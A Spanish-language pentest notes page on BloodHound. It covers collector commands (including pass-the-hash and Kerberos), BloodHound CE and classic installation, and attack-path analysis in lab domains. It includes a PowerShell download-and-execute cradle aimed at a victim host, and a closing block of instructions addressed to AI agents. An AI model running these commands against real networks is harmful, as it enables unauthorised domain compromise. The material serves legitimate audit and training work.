# BloodHound

## Introduction

**BloodHound** es una herramienta fundamental en auditorías de Active Directory, diseñada para identificar relaciones de confianza y posibles vectores de ataque dentro de un dominio. Permite analizar cómo un atacante podría moverse lateralmente o escalar privilegios aprovechando relaciones ya existentes entre objetos del dominio.

En esta sección vamos a centrarnos en explicar los distintos métodos de recolección de datos disponibles (collectors), comparando su uso y aplicabilidad según el entorno. Además, detallaremos la instalación y diferencias clave entre **BloodHound clásico** y **BloodHound Community Edition (CE)**.

A lo largo del blog veremos:

* Cómo utilizar los diferentes collectors:
  * `SharpHound.exe`: el ejecutable clásico.
  * `SharpHound.ps1`: ideal para entornos con PowerShell habilitado.
  * `bloodhound-python`: pensado para ejecución desde sistemas Linux.
  * `RustHound-CE`: el collector moderno optimizado para BH-CE.
  * `NetExec`: permite extraer relaciones básicas directamente desde Linux.
  * `certipy-ad`: enfocado en la detección de relaciones dentro de entornos con AD CS, exportando en formato compatible con BloodHound CE
* Cuándo conviene usar cada uno.
* Instalación paso a paso tanto de BloodHound clásico como de BloodHound CE.
* Casos prácticos de uso en auditorías reales o entornos simulados.

El objetivo es dejar documentado de forma clara y funcional cómo trabajar con BloodHound, integrarlo en una auditoría y aprovechar al máximo sus capacidades.

<figure><img src="/files/sBg0QDVPCNyZIb1K7sIB" alt=""><figcaption></figcaption></figure>

***

## Collectors

Para que BloodHound pueda generar un grafo útil y preciso del dominio, primero es necesario realizar una fase de recolección de información. Esta tarea recae sobre los **collectors**, que son los encargados de extraer los datos estructurales del entorno Active Directory: relaciones entre usuarios y grupos, sesiones activas, delegaciones, permisos sobre objetos, entre otros.

Actualmente existen varios collectors disponibles, cada uno diseñado para adaptarse a distintos escenarios operativos, niveles de privilegios o restricciones del entorno. Elegir el collector adecuado depende tanto del contexto técnico como de los objetivos del análisis.

En este apartado documentamos los principales collectors utilizados en auditorías de AD, incluyendo su instalación, ejecución y particularidades:

* `SharpHound.exe`: el ejecutable clásico para entornos Windows.
* `SharpHound.ps1`: alternativa en PowerShell útil en entornos con políticas más restrictivas.
* `bloodhound-python`: collector multiplataforma, ideal para recolección desde sistemas Linux.
* `RustHound-CE`: pensado para BloodHound Community Edition, con un enfoque más modular y eficiente.

Esta sección tiene como objetivo servir de referencia práctica para seleccionar y utilizar el collector más adecuado en función del entorno y los objetivos de la auditoría.

{% hint style="danger" %}
&#x20;                                                                     **¡MUY IMPORTANTE!**

\
Siempre que consigamos un **nuevo usuario**, se recomienda **lanzar de nuevo el recolector de BloodHound con esas credenciales**. Es posible que el primer usuario tuviera permisos limitados para enumerar el dominio, y con el nuevo podamos obtener **más relaciones o privilegios** que antes no eran visibles.

Por eso, con cada cuenta nueva, lo ideal es ejecutar otro collector y generar un nuevo `.zip` con la información actualizada del entorno.
{% endhint %}

***

### bloodhound-python

#### Installation

{% code title="Via APT" %}

```bash
sudo apt install bloodhound.py -y
```

{% endcode %}

{% code title="Via PIP" %}

```bash
pip install bloodhound
```

{% endcode %}

{% code title="Via PIPX" %}

```bash
pipx install bloodhound
```

{% endcode %}

{% code title="Via cloning repository" %}

```bash
git clone https://github.com/dirkjanm/BloodHound.py
pip install .
```

{% endcode %}

{% embed url="<https://www.kali.org/tools/bloodhound.py/>" %}

{% embed url="<https://github.com/dirkjanm/BloodHound.py>" %}

**Use**

{% hint style="danger" %}
Se recomienda antes sincronizar la hora con el DC para evitar problemas de [KRB\_AP\_ERR\_SKEW](https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069).

```bash
sudo timedatectl set-ntp 0
sudo ntpdate -s 10.10.10.10
```

{% endhint %}

**# Autenticación usuario y contraseña**

```bash
bloodhound-python -u 'user' -p 'Gzzcoo123' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All
```

**# Autenticación a través de Pass-the-Hash (PtH)**

```bash
bloodhound-python -u 'user' --hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All
```

**# Autenticación mediante Kerberos (.ccache)**

```bash
bloodhound-python -u 'user' -k -no-pass -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All --auth-method kerberos
```

***

### RustHound

#### Installation

Tenemos que disponer de rust instalado en Kali, podemos seguir el siguiente blog para instalarlo.

{% embed url="<https://medium.com/meetcyber/install-rust-in-kali-linux-d85e9c6b9062>" %}

Una vez instalado rust en nuestro equipo, instalaremos RustHound-CE a través del siguiente comando.

```bash
cargo install rusthound-ce
```

**Use**

**# Autenticación usuario y contraseña**

```bash
rusthound -d dominio.htb -i 10.10.10.10 -u 'user@domino.htb' -p 'Password01!' -z
```

**# Autenticación usuario y contraseña para ADCS**

```bash
rusthound -d dominio.htb -i 10.10.10.10 -u 'user@domino.htb' -p 'Password01!' -z --adcs --old-bloodhound
```

**# Autenticación mediante Kerberos (.ccache)**

```bash
rusthound -d dominio.htb -i 10.10.10.10 -k -f dc01.dominio.htb -z
```

**# Autenticación mediante Kerberos (.ccache) para ADCS**

```bash
rusthound -d dominio.htb -i 10.10.10.10 -k -f dc01.dominio.htb -z --adcs --old-bloodhound
```

***

### SharpHound.ps1

{% embed url="<https://github.com/SpecterOps/BloodHound-Legacy/blob/master/Collectors/SharpHound.ps1>" %}

#### Importar en memoria SharpHound.ps1

**# Importar SharpHound.ps1 a través de un servidor web que tiene alojado el script PS!, puede ser el nuestro propio de atacante.**

```powershell
IEX(New-Object Net.WebClient).downloadString("https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/master/Collectors/SharpHound.ps1")
```

**# Teniendo el script de PowerShell en la máquina vícitma podemos importarlo de la siguiente manera**

```powershell
. .\SharpHound.ps1
```

```powershell
Import-Module .\SharpHound.ps1
```

#### Recoletar información a través de SharpHound.ps1

```powershell
Invoke-BloodHound -CollectionMethods All -Domain contoso.com
```

***

### SharpHound.exe

{% embed url="<https://github.com/SpecterOps/SharpHound>" %}

Pasaremos el binario al equipo víctima y lo ejecutaremos para recolectar la información.

```powershell
.\SharpHound.exe --CollectionMethods All
```

***

### NetExec

**# Autenticación a través de usuario y contraseña**

```bash
nxc ldap 10.10.10.10 -u 'user' -p 'Password01!' --bloodhound --collection All --dns-server 10.10.10.10
```

**# Autenticación a través de Pass-the-Hash (PtH)**

```bash
nxc ldap 10.10.10.10 -u 'user' -H 'fbaa3e2294376dc0f5aeb6b41ffa52b7' --bloodhound --collection All --dns-server 10.10.10.10
```

**# Autenticación a través de Kerberos**

```bash
nxc ldap dc.dominio.htb -u 'user' -p 'password' -k --bloodhound --collection All --dns-server 10.10.10.10
```

**# Autenticación a través de Kerberos (.ccache)**

```bash
nxc ldap dc.dominio.htb --usekcache --bloodhound --collection All --dns-server 10.10.10.10
```

***

### certipy-ad

#### BloodHound

**# Autenticación a través de usuario y contraseña**

{% code title="LDAP (Puerto 389)" %}

```bash
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10 -scheme ldap
```

{% endcode %}

{% code title="LDAPS (Puerto 636)" %}

```bash
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10
```

{% endcode %}

**# Autenticación a través de Pass-the-Hash (PtH)**

{% code title="LDAP (Puerto 389)" %}

```bash
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10 -scheme ldap
```

{% endcode %}

{% code title="LDAPS (Puerto 636)" %}

```bash
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10
```

{% endcode %}

**# Autenticación a través de Kerberos (.ccache)**

{% code title="LDAP (Puerto 389)" %}

```bash
certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap
```

{% endcode %}

{% code title="LDAPS (Puerto 636)" %}

```bash
certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug
```

{% endcode %}

#### Old BloodHound

**# Autenticación a través de usuario y contraseña**

{% code title="LDAP (Puerto 389)" %}

```bash
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap
```

{% endcode %}

{% code title="LDAPS (Puerto 636)" %}

```bash
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10
```

{% endcode %}

**# Autenticación a través de Pass-the-Hash (PtH)**

{% code title="LDAP (Puerto 389)" %}

```bash
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap
```

{% endcode %}

{% code title="LDAPS (Puerto 636)" %}

```bash
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10
```

{% endcode %}

**# Autenticación a través de Kerberos (.ccache)**

{% code title="LDAP (Puerto 389)" %}

```bash
certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap
```

{% endcode %}

{% code title="LDAPS (Puerto 636)" %}

```bash
certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug
```

{% endcode %}

***

## BloodHound CE

### Installation

Actualizaremos los repositorios e instalaremos docker-compose en nuestro equipo.

```bash
sudo apt update -y && sudo apt install docker-compose -y
```

<figure><img src="/files/G8FmygLpp4DMmO9G7au7" alt=""><figcaption></figcaption></figure>

Nos descargaremos el archivo del `docker-compose.yml` con `cURL` y comprobaremos que se ha descargado correctamente.

```bash
curl -L https://ghst.ly/getbhce -o docker-compose.yml
```

<figure><img src="/files/3Z21t7DDDCwMQx6sRYaj" alt=""><figcaption></figcaption></figure>

También podemos crear directamente el contenido del `docker-compose.yml`.

{% code title="docker-compose.yml" %}

```docker
# Copyright 2023 Specter Ops, Inc.
#
# Licensed under the Apache License, Version 2.0
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0

services:
  app-db:
    image: docker.io/library/postgres:16
    environment:
      - PGUSER=${POSTGRES_USER:-bloodhound}
      - POSTGRES_USER=${POSTGRES_USER:-bloodhound}
      - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-bloodhoundcommunityedition}
      - POSTGRES_DB=${POSTGRES_DB:-bloodhound}
    # Database ports are disabled by default. Please change your database password to something secure before uncommenting
    # ports:
    #   - 127.0.0.1:${POSTGRES_PORT:-5432}:5432
    volumes:
      - postgres-data:/var/lib/postgresql/data
    healthcheck:
      test:
        [
          "CMD-SHELL",
          "pg_isready -U ${POSTGRES_USER:-bloodhound} -d ${POSTGRES_DB:-bloodhound} -h 127.0.0.1 -p 5432"
        ]
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 30s

  graph-db:
    image: docker.io/library/neo4j:4.4.42
    environment:
      - NEO4J_AUTH=${NEO4J_USER:-neo4j}/${NEO4J_SECRET:-bloodhoundcommunityedition}
      - NEO4J_dbms_allow__upgrade=${NEO4J_ALLOW_UPGRADE:-true}
    # Database ports are disabled by default. Please change your database password to something secure before uncommenting
    ports:
      - 127.0.0.1:${NEO4J_DB_PORT:-7687}:7687
      - 127.0.0.1:${NEO4J_WEB_PORT:-7474}:7474
    volumes:
      - ${NEO4J_DATA_MOUNT:-neo4j-data}:/data
    healthcheck:
      test:
        [
          "CMD-SHELL",
          "wget -O /dev/null -q http://localhost:7474 || exit 1"
        ]
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 30s

  bloodhound:
    image: docker.io/specterops/bloodhound:${BLOODHOUND_TAG:-latest}
    environment:
      - bhe_disable_cypher_complexity_limit=${bhe_disable_cypher_complexity_limit:-false}
      - bhe_enable_cypher_mutations=${bhe_enable_cypher_mutations:-false}
      - bhe_graph_query_memory_limit=${bhe_graph_query_memory_limit:-2}
      - bhe_database_connection=user=${POSTGRES_USER:-bloodhound} password=${POSTGRES_PASSWORD:-bloodhoundcommunityedition} dbname=${POSTGRES_DB:-bloodhound} host=app-db
      - bhe_neo4j_connection=neo4j://${NEO4J_USER:-neo4j}:${NEO4J_SECRET:-bloodhoundcommunityedition}@graph-db:7687/
      - bhe_recreate_default_admin=${bhe_recreate_default_admin:-false}
      - bhe_graph_driver=${GRAPH_DRIVER:-neo4j}
      ### Add additional environment variables you wish to use here.
      ### For common configuration options that you might want to use environment variables for, see `.env.example`
      ### example: bhe_database_connection=${bhe_database_connection}
      ### The left side is the environment variable you're setting for bloodhound, the variable on the right in `${}`
      ### is the variable available outside of Docker
    ports:
      ### Default to localhost to prevent accidental publishing of the service to your outer networks
      ### These can be modified by your .env file or by setting the environment variables in your Docker host OS
      - ${BLOODHOUND_HOST:-127.0.0.1}:${BLOODHOUND_PORT:-8080}:8080
    ### Uncomment to use your own bloodhound.config.json to configure the application
    # volumes:
    #   - ./bloodhound.config.json:/bloodhound.config.json:ro
    depends_on:
      app-db:
        condition: service_healthy
      graph-db:
        condition: service_healthy

volumes:
  neo4j-data:
  postgres-data:
```

{% endcode %}

Iniciaremos los contenedores definidos en el archivo `docker-compose.yml`.

```bash
sudo docker-compose up -d
```

<figure><img src="/files/x8ITa6TShxdMYjunziwm" alt=""><figcaption></figcaption></figure>

Verificaremos que los contenedores se encuentran en ejecución y no ha habido ningún fallo.

```bash
sudo docker ps
```

<figure><img src="/files/z5yLAdsMDQcMDZVPZkoM" alt=""><figcaption></figcaption></figure>

Comprobaremos la contraseña inicial en los logs.

```bash
sudo docker logs bloodhound-ce_bloodhound_1
```

<figure><img src="/files/58ChoGnnVYnfyTDcHPlA" alt=""><figcaption></figcaption></figure>

Accederemos a <http://localhost:8080> y asignaremos las siguientes credenciales:

* Username: admin
* Password: Contraseña Inicial obtenida en el punto anterior

<figure><img src="/files/IGuUfGyOQ1Qb6U9cuQrj" alt=""><figcaption></figcaption></figure>

Indicaremos la contraseña inicial en el primer campo, y la nueva contraseña que deberá cumplir los requisitos establecidos.

{% hint style="info" %}
Normalmente 12 caracteres mínimo, 1 mayúscula, 1 minúscula, 1 número y 1 símbolo especial.
{% endhint %}

<figure><img src="/files/PVQL3Pef66ORiWVgqESw" alt=""><figcaption></figcaption></figure>

Ya dispondremos de nuestro `BloodHound CE` instalado correctamente en nuestro equipo a través de Docker.

<figure><img src="/files/2lS6jlQYlbEYVNBgv3pV" alt=""><figcaption></figcaption></figure>

#### Video installation guide

{% embed url="<https://youtu.be/SyIoUe9Wp0Q?si=SAjye9mvYeOTtT4i>" %}

***

### Start BloodHound CE

En mi caso tengo el archivo `docker-compose.yml` en el directorio `/opt/BloodHound-CE`. De esta manera sin importar en el directorio donde me encuentre lo levanto directamente con el siguiente comando.

{% hint style="danger" %}
Para iniciar el **BloodHound-CE** deberemos tener los contenedores ya instalados tal y como se indica en los puntos anteriores.

El comando `sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml up -d` nos sirve para iniciar de cero los contenedores, esto es útil si hay alguna modificación en el **docker-compose.yml**. En nuestro caso no lo modificaremos, por lo tanto deberemos utilizar el `start` para iniciarlo.
{% endhint %}

```bash
sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start
```

<figure><img src="/files/qkOUR7ZzzQbQ61BQDJl8" alt=""><figcaption></figcaption></figure>

***

### Stop BloodHound CE

Para parar `BloodHound-CE` ejecutaremos el siguiente comando, así liberamos los puertos que utiliza, etc. Luego podemos levantarlo con el comando anterior o con `sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start`

```bash
sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml stop
```

<figure><img src="/files/GXUMzW0VH33QkaHdzfQD" alt=""><figcaption></figcaption></figure>

***

### Ingest Data

Para subir nuestra información recolectada a través de los Collectors, deberemos de ingresar a <http://localhost:8080>. Una vez nos encontremos en el panel de **BloodHound-CE** realizaremos los siguientes pasos.

1. Ingresar al apartado de "**Administration**"
2. Acceder a la pestaña de "**File Ingest**"
3. Click en "**Upload File(s)**"

<figure><img src="/files/fA39uT81rZI4sB0jH15N" alt=""><figcaption></figcaption></figure>

Haremos click dentro de la casilla o también podremos arrastrar directamente nuestor .zip o los archivos JSON sueltos.

<figure><img src="/files/NTUpwxfN3PSdYqnxQZFE" alt=""><figcaption></figcaption></figure>

Seleccioanaremos nuestro archivo comprimido.

<figure><img src="/files/8wysi0qTMj0RRIdL2sTj" alt=""><figcaption></figcaption></figure>

Una vez seleccionado nuestro archivo, le daremos a la opción de **Upload**.

<figure><img src="/files/6G2kNz5kiYVPZsqoRcLi" alt=""><figcaption></figcaption></figure>

Confirmaremos que nso aparece el siguiente mensaje indicando que se han subido correctamente. Le daremos a **Close**.

<figure><img src="/files/jWwE8iiFp1ywlpPMgnPo" alt=""><figcaption></figcaption></figure>

Verificaremos que después de que se integre correctamente los datos recopilados, nos aparece como **Complete**. En caso de que aparezca otro estado como **Cancelled**, volver a subir el archivo. Si el problema persiste, es altamente posible que el problema se encuentre en la compatibilidad del **Collector** utilizado, probar con otro.

Una vez todo subido, podemos hacer uso de **BloodHound-CE** y navegar en la interfaz.

<figure><img src="/files/Qza76RI9K7szYDj8xCwB" alt=""><figcaption></figcaption></figure>

***

### Erase Data

Cuando necesitemos borrar la "**base de datos**" que tiene **BloodHound-CE** de los datos subidos anteriormente, deberemos de eliminar los datos. Podemos hacer una "**limpieza profunda**" para no dejar rastro de los datos subidos. Para ello, realizaremos los siguientes pasos.

1. Accederemos al apartado "**Administration**"
2. Ingresaremos al apartado de "**Database Management**"
3. Marcaremos todas las casillas, para la "**limpieza profunda**"
4. Haremos click en la opción de "**Proceed**"
5. Ingresaremos la palabra clave para confirmar la eliminación "**Please delete my data**"
6. Una vez ingresada la palabra de confirmación, le daremos a "**Confirm**".

<figure><img src="/files/J34FsdpoDSFtHYfVZpVX" alt=""><figcaption></figcaption></figure>

***

### How to use

Una vez tengamos subido nuestros datos en **BloodHound-CE**, podremos navegar en la interfaz accediendo al apartado de "**Explore**".

<figure><img src="/files/EdHIYcNDxY5eCyw3E5ZK" alt=""><figcaption></figcaption></figure>

***

**`Search`**

En el apartado de `SEARCH` podemos buscar por un nodo/objeto que queramos consultar, si no aparece significa que no existe o bien a la hora de recolectar la información no ha aparecido (seguramente por tema de permisos).

<figure><img src="/files/uCplumei0EGGUYw6IH87" alt=""><figcaption></figcaption></figure>

***

**`Click node info`**

Al hacer click sobre un nodo/objecto, nos aparecerá en la zona lateral derecha el siguiente menú con distintos submenús del nodo/objeto que investigaremos a continuación.

<figure><img src="/files/TBkWUrec1gpJ8qTaOxSZ" alt=""><figcaption></figcaption></figure>

Disponemos de varios sub apartados, aunque los más relevantes de momento son los siguientes.

{% tabs %}
{% tab title="Object Information" %}
En el apartado de **Object Information**, nos aparecerá toda la información del nodo/objeto. Entre la información que podemos destacar se encuentra la de:

* Distinguished Name
* Si el usuario dispone de **DONT\_REQ\_PREAUTH** (Es decir, susceptible a **AS-REP Roast**)
* Si se encuentra habilitado

<figure><img src="/files/pMgBlJhXO4hemIo4flYJ" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="Member Of" %}
Al desplegar el apartado de **Member Of** de un nodo/objeto (usuario) en este caso, nos aprecerá un esquema de cómo se encuentra distribuido, a qué grupos forma parte, etc.

<figure><img src="/files/PfaPqV3NqCXzHYaJK7Zg" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="Outbound Object Control" %}
En la sección **Outbound Object Control**, BloodHound muestra los objetos sobre los que tenemos control gracias a permisos ACL. Esto nos permite identificar posibles vectores de ataque, como movimientos laterales o escaladas de privilegios.

Desde aquí podemos ver relaciones útiles como `GenericWrite`, `WriteDACL`, `AddMember`, entre otras, que nos dan acceso directo a otros usuarios, grupos o equipos del dominio.

Tenemos una gran lista de ACLs interesantes para atacar en [Abusing Active Directory ACLs/ACEs](/pentest-notes/active-directory-pentesting/abusing-active-directory-acls-aces.md).

<figure><img src="/files/vCTAML7SpObubi6AOgtJ" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="Inbound Object Control" %}
En la sección **Inbound Object Control**, BloodHound muestra qué objetos del dominio tienen control sobre nosotros mediante ACLs.

<figure><img src="/files/9ZVl2DHBJIc4OPZZX0ix" alt=""><figcaption></figcaption></figure>
{% endtab %}
{% endtabs %}

***

**`Pathfinding`**

La funcionalidad de **Pathfinding** en BloodHound CE permite buscar rutas de ataque desde un nodo de inicio hasta un objetivo, evaluando los privilegios y relaciones entre usuarios y grupos.

En este ejemplo, partimos desde `OLIVIA@ADMINISTRATOR.HTB`, que tiene un `GenericAll` sobre `MICHAEL@ADMINISTRATOR.HTB`, lo que permite control total sobre esa cuenta. A su vez, `MICHAEL` puede forzar el cambio de contraseña de `BENJAMIN@ADMINISTRATOR.HTB`, lo que completa la cadena de ataque.

Este tipo de vista es clave para identificar caminos reales de escalada de privilegios o movimientos laterales dentro del dominio.

<figure><img src="/files/Aytvg99vRTiAXmYvbrs8" alt=""><figcaption></figcaption></figure>

***

**`Edges`**

En BloodHound CE, los **edges** representan las relaciones entre objetos del dominio. Estas relaciones pueden ser de distintos tipos: pertenencia a grupos (`MemberOf`), delegaciones (`GetChanges`, `GenericAll`, etc.), sesiones activas, ACLs y muchas otras.

Cuando hacemos clic en un edge, se abre un panel con más detalle sobre esa relación. Este panel incluye diferentes secciones:

<figure><img src="/files/UpPG5LNElEgaLSF5lMGh" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="General" %}
Muestra una descripción técnica de la relación detectada.

<figure><img src="/files/jJ3yE0PxvCOZBe6dmQCB" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="Windows Abuse" %}
Explica cómo se podría abusar de esa relación desde un entorno Windows.

<figure><img src="/files/IqGQZur4gXIItkjOyHBb" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="Linux Abuse" %}
Muestra el equivalente en herramientas como Impacket o similares desde Linux.

<figure><img src="/files/tPp8oj44SaE12JaFBUUy" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="References" %}
Enlaces útiles para ampliar la información técnica o práctica del abuso.

<figure><img src="/files/rqpmgJhTFaHOTduIENZg" alt=""><figcaption></figcaption></figure>
{% endtab %}
{% endtabs %}

***

**`Marking Objects as Owned/High Value`**

BloodHound CE permite marcar manualmente objetos del dominio como **Owned** (comprometidos) o **High Value** (objetivos prioritarios). Esto nos ayuda a visualizar mejor el progreso de una auditoría y enfocar los análisis de ruta hacia activos críticos.

Estas marcas se aplican desde el clic derecho sobre el nodo. Una vez marcado, el nodo se resalta visualmente en el grafo con un ícono correspondiente.

{% tabs %}
{% tab title="Owned" %}
Marcamos un nodo como comprometido cuando ya tenemos control sobre él (por ejemplo, si conseguimos credenciales o ejecución remota).

<figure><img src="/files/HbnwUZtMUL3z3tiNLJR4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Z6YHOHsZXivkA3zVRYuL" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="High Value" %}
Se usa para señalar objetivos importantes como Domain Admins, cuentas de servicio clave o sistemas críticos.

<figure><img src="/files/JlJIPfCuNm6doUDRCmgn" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ZhRJpZGXyiDaeWT9p6pK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/VfkHRrINoc25uyzKwonr" alt=""><figcaption></figcaption></figure>
{% endtab %}
{% endtabs %}

En el panel **Group Management** podemos gestionar de forma organizada los objetos marcados como `Owned` o `High Value`. Su uso se resume en los siguientes pasos:

1. **Accedemos al apartado Group Management** desde el ícono de personas (barra lateral izquierda).
2. **Seleccionamos el grupo** que queremos revisar `Owned/High Value`.
3. **Elegimos el entorno**, normalmente `All Active Directory Domains`.
4. **Aplicamos filtros** si queremos ver solo ciertos tipos de nodos (`User`, `Group` o `Computer, etc`).
5. **Se muestra el listado de objetos** que pertenecen a ese grupo, junto con su tipo y estado.
6. **Al hacer clic sobre un nodo**, se despliega su información detallada en la parte derecha: nombre, SID, SO, último logon, delegaciones, etc.
7. **Esta sección permite llevar control visual** de los objetivos comprometidos y planificar próximos movimientos dentro del dominio.

<figure><img src="/files/5uB1sJXma8pxPEGgI0qy" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/iUADZVuy4iK1pGWC1WCY" alt=""><figcaption></figcaption></figure>

***

**`Querys Cypher`**

En esta sección podemos lanzar queries en lenguaje **Cypher** para consultar relaciones dentro del grafo de BloodHound. Es muy útil para buscar rutas de ataque o listar objetos críticos de forma más precisa.

BloodHound CE ya trae varias queries predefinidas, como:

* Usuarios Kerberoastables
* Rutas más cortas hacia Domain Admins
* Listado de todos los Domain Admins
* Principales con privilegios peligrosos (DCSync, GenericAll, etc.)

También podemos modificar estas queries o crear las nuestras según lo que necesitemos buscar en el entorno.

<figure><img src="/files/k77BV1a9kQG88uOtgY7H" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/qCcv1Y3NBh77nop0PhHt" alt=""><figcaption></figcaption></figure>

***

**`Custom Querys`**

BloodHound CE permite crear y guardar nuestras propias queries en Cypher. Esto nos da flexibilidad para buscar relaciones específicas en el grafo y reutilizar esas búsquedas en futuras auditorías.

En el siguiente repositorio de GitHub, disponemos de algunas Querys ya creadas que podemos añadir.

{% embed url="<https://github.com/CompassSecurity/bloodhoundce-resources/blob/main/custom_queries/BloodHound_CE_Custom_Queries.md>" %}

En este caso, ponemos la QUERY que queremos consultar, le daremos a "**Save Query**".

<figure><img src="/files/By38T2YCM9sE1ZZ4ZqSw" alt=""><figcaption></figcaption></figure>

Le asignaremos un nombre a la QUERY.

<figure><img src="/files/aGNxGf28J21i6lSHqBMp" alt=""><figcaption></figcaption></figure>

Y verificaremos que se nos guarda, al darle click nos realizará la consulta asignada.

<figure><img src="/files/fZPrH0RMGqchU2ZqxlaL" alt=""><figcaption></figcaption></figure>

***

## BloodHound

### Installation

Actualizaremos los repositorios e instalaremos BloodHound y Neo4j para que funcione correctamente BH.

```bash
sudo apt update -y && sudo apt install bloodhound neo4j -y
```

<figure><img src="/files/EJDRfIgztrAuZYuRADDw" alt=""><figcaption></figcaption></figure>

Abriremos en una terminal aparte Neo4j, se nos iniciará la interfaz web en <http://localhost:7474>

```bash
sudo neo4j console
```

<figure><img src="/files/ovsht4sy2xkowTR7qXSh" alt=""><figcaption></figcaption></figure>

Accederemos a <http://localhost:7474> e ingresaremos las siguientes credenciales por defecto.

* Username: neo4j
* Password: neo4j&#x20;

<figure><img src="/files/nCeWGlgwPIzq8qCbMZNH" alt=""><figcaption></figcaption></figure>

Nos pedirá cambiar la contraseña.

<figure><img src="/files/zuyp2jSTJUwxr5ESyb1L" alt=""><figcaption></figcaption></figure>

Una vez modificada la contraseña del Neo4j, abriremos BloodHound en segundo plano en una nueva terminal.

```bash
bloodhound > /dev/null 2>&1 & disown
```

<figure><img src="/files/qqYLgFGhqfCdqilJGfwF" alt=""><figcaption></figcaption></figure>

Indicaremos al usuario neo4j y las nuevas credenciales modificadas. Podemos guardar las credenciales para que se nos conecte automáticamente.

<figure><img src="/files/MyjJmgARRfi0RJeyUiRS" alt=""><figcaption></figcaption></figure>

Una vez inicie sesión, se iniciará correctamente BloodHound y ya podremos navegar dentro de él.

<figure><img src="/files/dOEhsY8JnITjfjtChd3j" alt=""><figcaption></figcaption></figure>

#### Video installation guide

{% embed url="<https://youtu.be/7FS9f7Rhtt0>" %}

***

### Start BloodHound and Neo4j

Para iniciar BloodHound una vez ya realizada la instalación es ejecutar los siguientes comandos.

En una terminal aparte, abriremos Neo4j. Deberemos dejar que nos aparezca la línea del output en el cual indica que la interfaz web está habilitada en <http://localhost:7474>

```bash
sudo neo4j console
```

Abriremos BloodHound en segundo plano, si tenemos las credenciales almacenadas con el check, iniciará sesión automáticamente.

```bash
bloodhound > /dev/null 2>&1 & disown
```

***

### Ingest Data

{% hint style="info" %}
En redacción...
{% endhint %}

***

### Erase Data

{% hint style="info" %}
En redacción...
{% endhint %}

***

### How to use

{% hint style="info" %}
En redacción...
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gzzcoo.gitbook.io/pentest-notes/active-directory-pentesting/bloodhound.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.